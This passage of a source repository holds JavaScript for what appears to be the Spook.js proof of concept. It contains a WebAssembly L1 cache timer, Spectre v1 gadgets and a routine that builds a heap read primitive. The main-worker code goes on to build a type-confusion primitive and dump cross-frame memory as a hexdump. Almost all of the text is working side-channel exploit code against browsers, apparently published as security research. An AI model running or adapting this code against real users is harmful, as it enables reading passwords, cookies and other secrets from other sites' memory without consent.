0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b]);
78 | class L1Timer {
79 | constructor(callback) {
80 | this.memory = new WebAssembly.Memory({
81 | initial: 8192,
82 | maximum: 8192,
83 | });
84 | const wasmU82 = new Uint8Array(this.memory.buffer);
85 | for (let i = 0; i < wasmU82.length; i += PAGE_SZ) {
86 | wasmU82[i+8] = 1;
87 | }
88 | this.memPages = Math.floor(8192*64*1024)/PAGE_SZ;
89 | this.cacheSets = this._generateCacheSets();
90 | this.clearSets = this._generateCacheSets();
91 |
92 | this.wasm = new WebAssembly.Instance(new WebAssembly.Module(wasmBytes), {
93 | env: {
94 | mem: this.memory,
95 | plruCallback: callback
96 | }
97 | });
98 |
99 | this.timeCacheSet(0);
100 | for (let i = 0; i < 100000; i++) {
101 | callback();
102 | }
103 | }
104 |
105 | _timeL1(cacheSet, clearSet) {
106 | const start = performance.now();
107 | this.wasm.exports.oscillateTreePLRU2(4000,
108 | cacheSet[0],
109 | cacheSet[1],
110 | cacheSet[2],
111 | cacheSet[3],
112 | cacheSet[4],
113 | cacheSet[5],
114 | cacheSet[6],
115 | cacheSet[7],
116 | clearSet[0],
117 | clearSet[1],
118 | clearSet[2],
119 | clearSet[3],
120 | clearSet[4],
121 | clearSet[5],
122 | clearSet[6],
123 | clearSet[7]
124 | );
125 | const end = performance.now();
126 | return end - start;
127 | }
128 |
129 | _randomPage() {
130 | const rnd = Math.floor(Math.random() * this.memPages);
131 | return PAGE_SZ*rnd;
132 | }
133 |
134 | _generateCacheSets() {
135 | const cacheSets = new Array(CACHE_LINES_PER_PAGE);
136 | for (let i = 0; i < cacheSets.length; i++) {
137 | cacheSets[i] = new Array(CACHE_WAYS);
138 | }
139 | for (let i = 0; i < cacheSets[0].length; i++) {
140 | cacheSets[0][i] = this._randomPage();
141 | }
142 | for (let i = 1; i < cacheSets.length; i++) {
143 | for (let j = 0; j < cacheSets[i].length; j++) {
144 | cacheSets[i][j] = cacheSets[0][j]+i*CACHE_LINE_SZ;
145 | }
146 | }
147 | return cacheSets;
148 | }
149 |
150 | timeCacheSet(cacheSetIndex) {
151 | const cacheSet = this.cacheSets[cacheSetIndex];
152 | const clearSet = this.clearSets[cacheSetIndex];
153 | return this._timeL1(cacheSet, clearSet);
154 | }
155 | }
156 |
157 | function sort(arr) {
158 | for (let i = 0; i < arr.length; i++) {
159 | for (let j = 0; j < arr.length-1; j++) {
160 | if (arr[j] > arr[j+1]) {
161 | const tmp = arr[j];
162 | arr[j] = arr[j+1];
163 | arr[j+1] = tmp;
164 | }
165 | }
166 | }
167 | return arr;
168 | }
169 |
170 | function indexOfMin(arr) {
171 | let minValue = arr[0];
172 | let minIndex = 0;
173 | for (let i = 0; i < arr.length; i++) {
174 | if (arr[i] < minValue) {
175 | minValue = arr[i];
176 | minIndex = i;
177 | }
178 | }
179 | return minIndex;
180 | }
181 |
182 | function randomCacheLine() {
183 | return Math.floor(CACHE_LINES_PER_PAGE*Math.random());
184 | }
185 |
186 | const alignedMemory = new Uint8Array(new WebAssembly.Memory({
187 | initial: 1,
188 | maximum: 1,
189 | }).buffer);
190 | alignedMemory[8] = 1;
191 |
192 | const accessArgs = new Uint32Array([0]);
193 | function accessPage(trash) {
194 | const pageOffset = accessArgs[0]|0;
195 | return alignedMemory[pageOffset+trash];
196 | }
197 |
198 | const benchmark = new L1Timer(accessPage);
199 |
200 | // accessPage will touch more cache lines besides the one that we trigger
201 | // To find a cache line that is not used, we first iterate through all and
202 | // choose the fastest one.
203 | const cacheSetTimings = new Array(CACHE_LINES_PER_PAGE);
204 | for (let set = 0; set < CACHE_LINES_PER_PAGE; set++) {
205 | cacheSetTimings[set] = benchmark.timeCacheSet(set);
206 | }
207 | const fastSet = indexOfMin(cacheSetTimings);
208 |
209 | const reps = 200;
210 | const hits = new Array(reps);
211 | const misses = new Array(reps);
212 | const hitOffset = fastSet*CACHE_LINE_SZ;
213 | const missOffset = (hitOffset + PAGE_SZ/2) % PAGE_SZ;
214 | for (let i = 0; i < reps; i++) {
215 | accessArgs[0] = hitOffset;
216 | hits[i] = benchmark.timeCacheSet(fastSet);
217 | accessArgs[0] = missOffset
218 | misses[i] = benchmark.timeCacheSet(fastSet);
219 | }
220 |
221 | hits.sort((a, b) => a - b);
222 | misses.sort((a, b) => a - b);
223 |
224 | const CACHE_L1_THRESHOLD = (median(hits) + median(misses)) / 2;
225 |
226 | log(`${hits[2]} - ${hits[50]} - ${hits[98]}`);
227 | log(`${misses[2]} - ${misses[50]} - ${misses[98]}`);
228 | log(`L1 THRESHOLD (AUTO CALIBRATED): ${CACHE_L1_THRESHOLD}`);
229 |
230 | // We access the "leakMe" array at incremental offsets and measure the hits
231 | // to the l1 cache sets using our L1Timer.
232 | // The results are stored in a 2-dimensional array.
233 | // After collecting the data, find consecutive runs of cache hits, that
234 | // transition from one cache set to the next.
235 |
236 | const accessLeakMeArgs = new Uint32Array([0]);
237 | function accessLeakMe(trash) {
238 | const offset = accessLeakMeArgs[0] | 0;
239 | return leakMe[offset+trash];
240 | }
241 |
242 | const leakMeTimer = new L1Timer(accessLeakMe);
243 |
244 | function leakMeTestSet(offset, set) {
245 | accessLeakMeArgs[0] = offset;
246 | return leakMeTimer.timeCacheSet(set) > CACHE_L1_THRESHOLD;
247 | }
248 |
249 | const elementSize = 4;
250 | const elementsPerCacheLine = CACHE_LINE_SZ/elementSize;
251 | const testElementCount = 128;
252 |
253 | const cacheHits = new Array(testElementCount);
254 | for (let i = 0; i < cacheHits.length; i++) {
255 | cacheHits[i] = new Array(CACHE_LINES_PER_PAGE);
256 | for (let j = 0; j < cacheHits[i].length; j++) {
257 | cacheHits[i][j] = 0;
258 | }
259 | }
260 |
261 | for (let i = 0; i < testReps; i++) {
262 | for (let set = 0; set < CACHE_LINES_PER_PAGE; set++) {
263 | for (let elementIndex = 0; elementIndex < testElementCount; elementIndex++) {
264 | if (leakMeTestSet(elementIndex, set)) {
265 | cacheHits[elementIndex][set] += 1;
266 | }
267 | }
268 | }
269 | }
270 |
271 | function previousCacheSet(cacheSet) {
272 | return (CACHE_LINES_PER_PAGE+cacheSet-1) % CACHE_LINES_PER_PAGE;
273 | }
274 |
275 | // Find all clear transitions from one cache set to the next.
276 | // I.e. it should look like:
277 | // hit | miss
278 | // -----+-----
279 | // miss | hit
280 | function* findTransitions() {
281 | let offset = elementsPerCacheLine;
282 | // need at least 16 elements to the bottom
283 | while (offset <= cacheHits.length - elementsPerCacheLine) {
284 | for (let cacheSet = 0; cacheSet < CACHE_LINES_PER_PAGE; cacheSet++) {
285 | const prevCacheSet = previousCacheSet(cacheSet);
286 | if (cacheHits[offset][cacheSet] != testReps) continue;
287 | if (cacheHits[offset-1][prevCacheSet] != testReps) continue;
288 | if (cacheHits[offset-1][cacheSet] != 0) continue;
289 | if (cacheHits[offset][prevCacheSet] != 0) continue;
290 | yield [offset, cacheSet];
291 | }
292 | offset++;
293 | }
294 | }
295 |
296 | // The algorithm is very simple, try to find runs of cache set hit that
297 | // transition from one cache set to the next. I.e. if we iterate over the array
298 | // elements, we expect 16 hits on cacheSet n, followed by 16 hits on n+1.
299 | function inferCacheAlignment(falsePositiveThreshold, falseNegativeThreshold) {
300 | for (const [transitionOffset, transitionCacheSet] of findTransitions()) {
301 | const prevCacheSet = previousCacheSet(transitionCacheSet);
302 | const startOffset = transitionOffset - elementsPerCacheLine;
303 | const maxHitCount = 2 * elementsPerCacheLine * testReps;
304 | let hitCount = 0;
305 | let wrongHitCount = 0;
306 | for (let i = 0; i < elementsPerCacheLine; i++) {
307 | hitCount += cacheHits[startOffset+i][prevCacheSet];
308 | hitCount += cacheHits[transitionOffset+i][transitionCacheSet];
309 | wrongHitCount += cacheHits[startOffset+i][transitionCacheSet];
310 | wrongHitCount += cacheHits[transitionOffset+i][prevCacheSet];
311 | }
312 | if (hitCount/maxHitCount >= (1-falseNegativeThreshold)
313 | && wrongHitCount/maxHitCount < falsePositiveThreshold) {
314 | return [true, startOffset, prevCacheSet];
315 | }
316 | }
317 | return [false, -1, -1];
318 | }
319 |
320 | const kEndMarker = 0xffffffff;
321 | const kWasmPageSize = 64*1024;
322 | class EvictionList {
323 | constructor(initialSize, offset) {
324 | const memorySize = initialSize*PAGE_SZ;
325 | this.memory = new DataView(new WebAssembly.Memory({initial: Math.ceil(memorySize/kWasmPageSize)}).buffer);
326 | this.head = offset;
327 | for (let i = 0; i < initialSize-1; i++) {
328 | this.memory.setUint32(i*PAGE_SZ+offset, (i+1)*PAGE_SZ+offset, true);
329 | }
330 | this.tail = (initialSize-1)*PAGE_SZ+offset;
331 | this.memory.setUint32(this.tail, kEndMarker, true);
332 | this.length = initialSize;
333 | }
334 |
335 | traverse() {
336 | let e = this.head;
337 | while (e != kEndMarker) {
338 | e = this.memory.getUint32(e, true);
339 | }
340 | return e;
341 | }
342 | }
343 |
344 | function sleep(ms) {
345 | return new Promise(r=>setTimeout(r, ms));
346 | }
347 |
348 | function alignedArrayBuffer(sz) {
349 | const wasm_pages = Math.ceil(sz/(64*1024));
350 | return new WebAssembly.Memory({initial: wasm_pages, maximum: wasm_pages}).buffer
351 | }
352 |
353 | const probeArray = new Uint8Array(alignedArrayBuffer(PAGE_SZ));
354 | probeArray[0] = 1;
355 |
356 | const spectreArgs = new Uint32Array([0, 0, 0, 0]);
357 |
358 | /**
359 | * Returns a copy of the function `fn` that is not optimized.
360 | * Never call the original function `fn` - only ever call the function returned by `preventOptimization`.
361 | *
362 | * Note: Does not work with variadic functions.
363 | *
364 | * Operation is controlled by the `CONFIG_CHEAT_PREVENT_OPTIMIZATION` configuration parameter.
365 | * - NEVER: Rewrites `fn` so V8 will refuse to inline or optimize it.
366 | * - ALWAYS: Uses Natives.neverOptimizeFunction and throws an error if it's not available.
367 | * - PREFER: Uses Natives.neverOptimizeFunction if it's available, otherwise rewrites `fn`
368 | */
369 | function preventOptimization(fn) {
370 | /**
371 | * Use V8's native functions for disabling optimization where we can and are configured to do so.
372 | */
373 | //if ((CONFIG_CHEAT_PREVENT_OPTIMIZATION === PREFER && Natives.enabled) || CONFIG_CHEAT_PREVENT_OPTIMIZATION === ALWAYS) {
374 | // Natives.neverOptimizeFunction(fn);
375 | // return fn;
376 | //}
377 |
378 | /**
379 | * Otherwise, abuse the fact that V8 refuses to optimize very large functions by rewriting the function to include a
380 | * very large number of operations. We prevent these operations from actually being executed by wrapping the code
381 | * in a conditional statement that is always true.
382 | */
383 | const code = fn.toString();
384 |
385 | // Use a parameter as the source for the conditional statement so V8 doesn't know it can remove dead code.
386 | let parameters = code.slice(
387 | code.indexOf('(') + 1,
388 | code.indexOf(')')
389 | );
390 | parameters = parameters.trim();
391 | parameters = parameters + (parameters === "" ? "" : ", ") + "__RUN__CODE__=true";
392 |
393 | const body = code.slice(
394 | code.indexOf('{') + 1,
395 | code.lastIndexOf('}')
396 | );
397 |
398 | const optimizationKiller = new Array(30 * 1000).fill('x++;').join("");
399 | const async = code.startsWith("async") ? "async" : "";
400 |
401 | return eval(`(
402 | ${async} function(${parameters}){
403 | if (__RUN__CODE__) {
404 | ${body};
405 | return undefined;
406 | }
407 |
408 | let x=0;
409 | ${optimizationKiller}
410 | return x;
411 | }
412 | );`);
413 | }
414 |
415 | function spectreGadget() {
416 | // We want to access as little memory as possible to avoid false positives.
417 | // Putting arguments in a global array seems to work better than passing them
418 | // as parameters.
419 | const idx = spectreArgs[0]|0;
420 | const bit = spectreArgs[1]|0;
421 | const junk = spectreArgs[2]|0;
422 |
423 | // Add a loop to control the state of the branch predictor
424 | // I.e. we want the last n branches taken/not taken to be consistent
425 | for (let i = 0; i < 200; i++);
426 |
427 | // idx will be out of bounds during speculation
428 | // if the bit is zero, we access cache line 0 of the probe array otherwise
429 | // 0x800 (cache line 32)
430 |
431 | if (idx < spectreArray.length) {
432 | return probeArray[((spectreArray[idx]>>bit)&1)*0x800];
433 | }
434 |
435 | return probeArray[0x400];
436 | }
437 |
438 | const testBit = preventOptimization(function testBit(evictionList, offset, bit, bitValue, noopt = true) {
439 | spectreArgs[0] = 0;
440 | spectreArgs[1] = 0;
441 |
442 | // Run the gadget twice to train the branch predictor.
443 | for (let j = 0; j < 2; j++) {
444 | spectreGadget();
445 | }
446 |
447 | // Try to evict the length field of our array from memory, so that we can
448 | // speculate over the length check.
449 | evictionList.traverse();
450 |
451 | spectreArgs[0] = offset;
452 | spectreArgs[1] = bit;
453 |
454 | // In the gadget, we access cacheSet 0 if the bit was 0 and set 32 for bit 1.
455 | const timing = spectreTimer.timeCacheSet(bitValue == 1 ? 32 : 0);
456 |
457 | return timing > CACHE_L1_THRESHOLD;
458 | });
459 |
460 | function leakBit(evictionList, offset, bit) {
461 | let zeroes = 0;
462 | let ones = 0;
463 |
464 | // Our leak is probabilistic. To filter out some noise, we test both for bit 0
465 | // and 1 repeatedly. If we didn't get a difference in cache hits, continue
466 | // until we see a diff.
467 | for (let i = 0; i < 1; i++) {
468 | if (testBit(evictionList, offset, bit, 0)) zeroes++;
469 | if (testBit(evictionList, offset, bit, 1)) ones++;
470 | }
471 | for (let i = 1; ones == zeroes && i < 5; i++) {
472 | if (testBit(evictionList, offset, bit, 0)) zeroes++;
473 | if (testBit(evictionList, offset, bit, 1)) ones++;
474 | if (ones != zeroes) break;
475 | }
476 | return ones > zeroes ? 1 : 0;
477 | }
478 |
479 | function leakByte(evictionList, offset) {
480 | let byte = 0;
481 | for (let bit = 0; bit < 8; bit++) {
482 | byte |= leakBit(evictionList, offset, bit) << bit;
483 | }
484 | return byte;
485 | }
486 |
487 | function median(values) {
488 | return values.sort((a, b) => a - b)[values.length >> 1];
489 | }
490 |
491 | function createHeapReadPrimitive(arrayValue) {
492 | const [leakSuccess, alignedIndex, inferredCacheSet] = inferCacheAlignment(0.20, 0.05);
493 | if (leakSuccess) {
494 | log(`Inferred memory layout: array index ${alignedIndex} is in cacheSet ${inferredCacheSet}`);
495 | } else {
496 | err("Could not infer memory layout");
497 | return null;
498 | }
499 |
500 | const arrayPageOffset = (PAGE_SZ + inferredCacheSet * CACHE_LINE_SZ - alignedIndex * elementSize) % PAGE_SZ;
501 | log(`Array elements page offset: 0x${(arrayPageOffset).toString(16)}`);
502 |
503 | // We want the backing store ptr and the length of the typed array to be on separate cache lines.
504 | const desiredAlignment = 2 * CACHE_LINE_SZ - (40);
505 | let typedArrayPageOffset = (arrayPageOffset + leakMe.length * 4) % PAGE_SZ;
506 | log(`TypedArray at 0x${typedArrayPageOffset.toString(16)}`);
507 |
508 | // We prepared a memory layout in setup_memory.js that looks like this:
509 | // leakMe | typedArray[0] | typedArrayBackingStore[0] | typedArray[1] | typedArrayBackingStore[1] | ...
510 | // Just iterate through them to find one that has the alignment we want.
511 | let alignedTypedArray = undefined;
512 | for (let i = 0; i < 63; i++) {
513 | if (typedArrayPageOffset % (2 * CACHE_LINE_SZ) == desiredAlignment) {
514 | log(`Found TypedArray with desired alignment (@0x${typedArrayPageOffset.toString(16)}) index: ${i}`);
515 | alignedTypedArray = typedArrays[i];
516 | // Fill all arrays before and after with 0x41 so that we can see them in
517 | // the hexdump.
518 | // We also use it as a known value to test if our leak works.
519 | for (let j = 0; j < 64; j++) {
520 | for (let k = 0; k < typedArrays[j].length; k++) {
521 | typedArrays[j][k] = arrayValue[k];
522 | }
523 | typedArrays[j][0] = j;
524 | }
525 | alignedTypedArrayIndex = i;
526 | break;
527 | }
528 | typedArrayPageOffset += 164;
529 | typedArrayPageOffset %= PAGE_SZ;
530 | }
531 | if (alignedTypedArray == undefined || alignedTypedArrayIndex >= 0x20) {
532 | err("Couldn't create TypedArray with right alignment");
533 | return null;
534 | }
535 |
536 | // Create these as globals.
537 | // The spectreArray is what we will access out of bounds.
538 | // The spectreTimer calls the spectre gadget and checks which cache sets it's using.
539 | Object.defineProperty(this, "spectreArray", {
540 | value: alignedTypedArray,
541 | });
542 | Object.defineProperty(this, "spectreTimer", {
543 | value: new L1Timer(spectreGadget)
544 | });
545 |
546 | // This will be used to evict the typed array length from the cache
547 | const typedArrayEvictionList = new EvictionList(EVICTION_LIST_SIZE, typedArrayPageOffset & 0xfc0);
548 |
549 | return {
550 | pageOffset: arrayPageOffset,
551 | index: alignedTypedArrayIndex,
552 | leak: (offset) => leakByte(typedArrayEvictionList, offset)
553 | };
554 | }
--------------------------------------------------------------------------------
/static/js/main-worker.js:
--------------------------------------------------------------------------------
1 | self.importScripts('leaky-page/leaky-page.js', 'util.js', 'spook.js');
2 |
3 | function spectreGadget2() {
4 | // We want to access as little memory as possible to avoid false positives.
5 | // Putting arguments in a global array seems to work better than passing them
6 | // as parameters.
7 | const object = spectreArgs[0]|0;
8 | const array = spectreArgs[1]|0;
9 | const bit = spectreArgs[2]|0;
10 |
11 | for (let i = 0; i < 200; i++);
12 |
13 | if (array < typedArrays[object].f0) {
14 | return probeArray[((typedArrays[array].length>>bit)&1)*0x800];
15 | }
16 |
17 | return probeArray[0x400];
18 | }
19 |
20 | const testBit2 = preventOptimization(function(evictionList1, evictionList2, offset, bit, bitValue) {
21 | spectreArgs[0] = offset;
22 | spectreArgs[1] = 0;
23 | spectreArgs[2] = 0;
24 |
25 | // Run the gadget twice to train the branch predictor.
26 | for (let j = 0; j < 2; j++) {
27 | spectreGadget2();
28 | }
29 |
30 | evictionList1.traverse();
31 |
32 | spectreArgs[0] = offset;
33 | spectreArgs[1] = offset;
34 | spectreArgs[2] = bit;
35 |
36 | const timing = spectreTimer2.timeCacheSet(bitValue == 1 ? 32 : 0);
37 |
38 | return timing > CACHE_L1_THRESHOLD;
39 | });
40 |
41 | function leakBit2(evictionList1, evictionList2, offset, bit) {
42 | let zeroes = 0;
43 | let ones = 0;
44 |
45 | const min_leak_reps = 1;
46 | const max_leak_reps = 3;
47 |
48 | // Our leak is probabilistic. To filter out some noise, we test both for bit 0
49 | // and 1 repeatedly. If we didn't get a difference in cache hits, continue
50 | // until we see a diff.
51 | for (let i = 0; i < min_leak_reps ; i++) {
52 | if (testBit2(evictionList1, evictionList2, offset, bit, 0)) zeroes++;
53 | if (testBit2(evictionList1, evictionList2, offset, bit, 1)) ones++;
54 | }
55 | for (let i = min_leak_reps ; ones == zeroes && i < max_leak_reps ; i++) {
56 | if (testBit2(evictionList1, evictionList2, offset, bit, 0)) zeroes++;
57 | if (testBit2(evictionList1, evictionList2, offset, bit, 1)) ones++;
58 | if (ones != zeroes) break;
59 | }
60 | return ones > zeroes ? 1 : 0;
61 | }
62 |
63 | function leakByte2(evictionList1, evictionList2, offset) {
64 | let byte = 0;
65 | for (let bit = 0; bit < 8; bit++) {
66 | byte |= leakBit2(evictionList1, evictionList2, offset, bit) << bit;
67 | }
68 | return byte;
69 | }
70 |
71 | function spectreGadget3() {
72 | // We want to access as little memory as possible to avoid false positives.
73 | // Putting arguments in a global array seems to work better than passing them
74 | // as parameters.
75 | const object = spectreArgs[0]|0;
76 | const array = spectreArgs[1]|0;
77 | const bit = spectreArgs[2]|0;
78 | const index = spectreArgs[3]|0;
79 |
80 | for (let i = 0; i < 200; i++);
81 |
82 | // Leak the
83 | if (array < typedArrays[object].f0) {
84 | return probeArray[((typedArrays[array][index]>>bit)&1)*0x800];
85 | }
86 |
87 | return probeArray[0x400];
88 | }
89 |
90 | const testBit3 = preventOptimization(function(evictor, offset, bit, bitValue) {
91 | spectreArgs[0] = offset;
92 | spectreArgs[1] = 0;
93 | spectreArgs[2] = 0;
94 |
95 | // Run the gadget twice to train the branch predictor.
96 | for (let j = 0; j < 2; j++) {
97 | spectreGadget3();
98 | }
99 |
100 | // Try to evict the length field of our array from memory, so that we can
101 | // speculate over the length check.
102 | evictor.traverse();
103 |
104 | spectreArgs[0] = offset;
105 | spectreArgs[1] = offset;
106 | spectreArgs[2] = bit;
107 |
108 | // In the gadget, we access cacheSet 0 if the bit was 0 and set 32 for bit 1.
109 | const timing = spectreTimer3.timeCacheSet(bitValue == 1 ? 32 : 0);
110 |
111 | return timing > CACHE_L1_THRESHOLD;
112 | });
113 |
114 | function leakBit3(evictor, offset, bit) {
115 | let zeroes = 0;
116 | let ones = 0;
117 |
118 | const min_leak_reps = 10;
119 | const max_leak_reps = 20;
120 |
121 | // Our leak is probabilistic. To filter out some noise, we test both for bit 0
122 | // and 1 repeatedly. If we didn't get a difference in cache hits, continue
123 | // until we see a diff.
124 | for (let i = 0; i < min_leak_reps ; i++) {
125 | if (testBit3(evictor, offset, bit, 0)) zeroes++;
126 | if (testBit3(evictor, offset, bit, 1)) ones++;
127 | }
128 | for (let i = min_leak_reps ; ones == zeroes && i < max_leak_reps ; i++) {
129 | if (testBit3(evictor, offset, bit, 0)) zeroes++;
130 | if (testBit3(evictor, offset, bit, 1)) ones++;
131 | if (ones != zeroes) break;
132 | }
133 | return ones > zeroes ? 1 : 0;
134 | }
135 |
136 | function leakByte3(evictor, offset) {
137 | let byte = 0;
138 | for (let bit = 0; bit < 8; bit++) {
139 | byte |= leakBit3(evictor, offset, bit) << bit;
140 | }
141 | return byte;
142 | }
143 |
144 | async function main() {
145 | const PAGE_SZ = 4096;
146 | const CACHE_LINE_SZ = 64;
147 |
148 | const data = new Array(0x20).fill(0x5A);
149 |
150 | const result = createHeapReadPrimitive(data);
151 | if (result === null) {
152 | return null;
153 | }
154 |
155 | Object.defineProperty(self, "spectreTimer2", {
156 | value: new L1Timer(spectreGadget2)
157 | });
158 | Object.defineProperty(self, "spectreTimer3", {
159 | value: new L1Timer(spectreGadget3)
160 | });
161 |
162 | const {pageOffset, index, leak} = result;
163 |
164 | // Use leaky-page to deduce the correct object to leak with
165 | // The proof-of-concept uses this to improve reliability and increase speed of setting spook.js up.
166 | let objectPageOffset = (pageOffset + 984) % PAGE_SZ;
167 | //const CACHE_LINE_SZ = 64;
168 | const OBJECT_LENGTH = 15 * 4;
169 | const desiredObjectAlignment = 2 * CACHE_LINE_SZ - (16);
170 | let alignedObjectIndex = 0;
171 | for (let i = 70; i < 128; i++) {
172 | if ((objectPageOffset % (2 * CACHE_LINE_SZ)) == desiredObjectAlignment) {
173 | log(`found object with desired alignment (@0x${objectPageOffset.toString(16)}) index: ${i}`);
174 | alignedObjectIndex = i;
175 | break;
176 | }
177 |
178 | objectPageOffset += OBJECT_LENGTH;
179 | objectPageOffset %= PAGE_SZ;
180 | }
181 | if (alignedObjectIndex == 0) {
182 | err(ERR_U8_ALIGN, "couldn't create object with right alignment");
183 | return;
184 | }
185 |
186 | // Construct an offset from the SpectreV1 array to the end of the last array (chosen arbitrarily)
187 | const ARRAY_LENGTH = 0xA4;
188 | const ARRAY_END = 0x20 + ARRAY_LENGTH * (64 - index - 1);
189 |
190 | // Verify that the primitive was constructed correctly.
191 | let count = 0;
192 | for (let i = 0; i < 300; i++) {
193 | if (leak(ARRAY_END - 32) === 0x3F) {
194 | count++;
195 | }
196 | }
197 | log(`Accuracy of heap read primitive ${count}/300`);
198 | if (count < 200) {
199 | err(`Failed to construct heap read primitive.`);
200 | return;
201 | }
202 | log("Heap read primitive successfully constructed.");
203 |
204 | // Calculate an offset to the beginning of the last array
205 | const ARRAY_START = ARRAY_END - ARRAY_LENGTH + 0x38;
206 |
207 | // Read ext_ptr_2
208 | const BasePointer = BigInt(
209 | (mode(100, x => leak(ARRAY_START + 44)) << 0) |
210 | (mode(100, x => leak(ARRAY_START + 45)) << 8)
211 | ) << 32n;
212 |
213 | log(`Leaked heap pointer : 0x${BasePointer.toString(16)}`);
214 |
215 | // Read base_ptr
216 | const ArrayPointer = BigInt(
217 | (mode(100, x => leak(ARRAY_START + 48)) << 0) |
218 | (mode(100, x => leak(ARRAY_START + 49)) << 8) |
219 | (mode(100, x => leak(ARRAY_START + 50)) << 16) |
220 | (mode(100, x => leak(ARRAY_START + 51)) << 24)
221 | ) + 0x07n + BasePointer;
222 | log(`Leaked array pointer: 0x${ArrayPointer.toString(16)}`);
223 |
224 | // Construct spook.js
225 | const spookjs = await SpookJs.create(typedArrays, {
226 | index: alignedObjectIndex,
227 | offset: Math.floor(objectPageOffset / 64),
228 | verify: {address: ArrayPointer, value: 0x3F}
229 | });
230 |
231 | if (spookjs === null) {
232 | err(`Failed to construct spook.js type confusion primitive`);
233 | return;
234 | }
235 | log(`Constructed spook.js type confusion primitive`);
236 |
237 | const address = await getCrossFrameAddress();
238 | log("Leaking from 0x" + address.toString(16));
239 |
240 | const start = address - 1024n;
241 | const end = start + 1024n;
242 |
243 | const startTime = performance.now();
244 | for (let i = start; i < end; i += 16n) {
245 | const bytes = [];
246 | for (let offset = 0n; offset < 16n; offset++) {
247 | bytes.push(spookjs.leak(i + offset));
248 | }
249 |
250 | const offset = (i - 16n).toString(16);
251 | const hex = bytes.map(x => x.toString(16).padStart(2, '0')).join(' ');
252 | const ascii = bytes.map(x => (32 <= x && x <= 126) ? String.fromCharCode(x) : ".").join('');
253 |
254 | log(`0x${offset} ${hex} ${ascii}`);
255 | }
256 | const endTime = performance.now();
257 | log(`[*] Leaked 1024 bytes in ${Math.round(endTime - startTime)}ms`);
258 | }
259 |
260 | const EVICTION_SET_MAX_SIZE = 64;
261 |
262 | function shuffle(array) {
263 | var currentIndex = array.length, temporaryValue, randomIndex;
264 |
265 | // While there remain elements to shuffle...
266 | while (0 !== currentIndex) {
267 |
268 | // Pick a remaining element...
269 | randomIndex = Math.floor(Math.random() * currentIndex);
270 | currentIndex -= 1;
271 |
272 | // And swap it with the current element.
273 | temporaryValue = array[currentIndex];
274 | array[currentIndex] = array[randomIndex];
275 | array[randomIndex] = temporaryValue;
276 | }
277 |
278 | return array;
279 | }
280 |
281 | const END_MARKER = 0x7FFFFFFF;
282 | class EvictionListL3 {
283 | constructor(memory, elements) {
284 | this.elements = elements;
285 | this.head = elements[0] / 4;
286 | this.memory = memory;
287 |
288 | this.offset = (elements[0]%PAGE_SZ)/CACHE_LINE_SZ;
289 |
290 | // Link elements together
291 | for (let i = 1; i < elements.length; i++) {
292 | memory[elements[i - 1] / 4] = elements[i] / 4;
293 | }
294 |
295 | memory[elements[elements.length - 1] / 4] = END_MARKER;
296 | }
297 |
298 | traverse() {
299 | let element = this.head;
300 | while (element !== END_MARKER) {
301 | //this.memory[element + 1]++;
302 | element = this.memory[element];
303 | }
304 | return element;
305 | }
306 | }
307 |
308 | let messageId = 0;
309 | const messages = [];
310 |
311 | class Message {
312 | constructor(type, payload){
313 | this.id = messageId++;
314 | this.type = type;
315 | this.payload = payload;
316 |
317 | this.promise = new Promise((resolve, reject) => {
318 | this.resolve = resolve;
319 | this.reject = reject;
320 | });
321 | }
322 | }
323 |
324 | function sendMessage(type, payload = undefined) {
325 | const message = new Message()
326 | messages.push(message);
327 | self.postMessage({type: type, id: message.id, payload: payload});
328 | return message.promise;
329 | }
330 |
331 | self.onmessage = function(event) {
332 | const data = event.data;
333 |
334 | // Dispatch to the correct message
335 | for (let i = 0; i < messages.length; i++) {
336 | if (messages[i].id === data.id) {
337 | message = messages[i];
338 | messages[i] = messages[messages.length - 1];
339 | messages.pop();
340 |
341 | message.resolve(data.result);
342 | return;
343 | }
344 | }
345 |
346 | // Unhandled message
347 | const text = JSON.stringify(data);
348 | self.postMessage({type: 'exception', message: `Unhandled message (Worker): ${text}`});
349 | }
350 |
351 | function getAccessModules() {
352 | return sendMessage("getAccessModule");
353 | }
354 |
355 | function startTimer() {
356 | return sendMessage("startTimer");
357 | }
358 |
359 | function stopTimer() {
360 | return sendMessage("stopTimer");
361 | }
362 |
363 | function getAddressForDump() {
364 | return sendMessage("getAddress");
365 | }
366 |
367 | function sendLeakage(byteString) {
368 | return sendMessage("leakage", byteString);
369 | }
370 |
371 | function getCrossFrameAddress() {
372 | return sendMessage("getCrossFrameAddress");
373 | }
374 |
375 | main();
--------------------------------------------------------------------------------
/static/js/main.js:
--------------------------------------------------------------------------------
1 | function sleep(ms) {
2 | return new Promise(resolve => setTimeout(resolve, ms));
3 | }
4 |
5 | const Natives = (function(){
6 | function isEnabled() {
7 | try {
8 | eval("(function(){%GetOptimizationStatus();})");
9 | return true;
10 | }
11 | catch (e){
12 | return false;
13 | }
14 | }
15 |
16 | const enabled = isEnabled();
17 |
18 | function exportNative(name, argumentCount) {
19 | const args = new Array(argumentCount).fill(0).map((value, index) => `_${index}`).join(", ");
20 | if (enabled) {
21 | return eval(`(function(${args}){return %${name}(${args})})`);
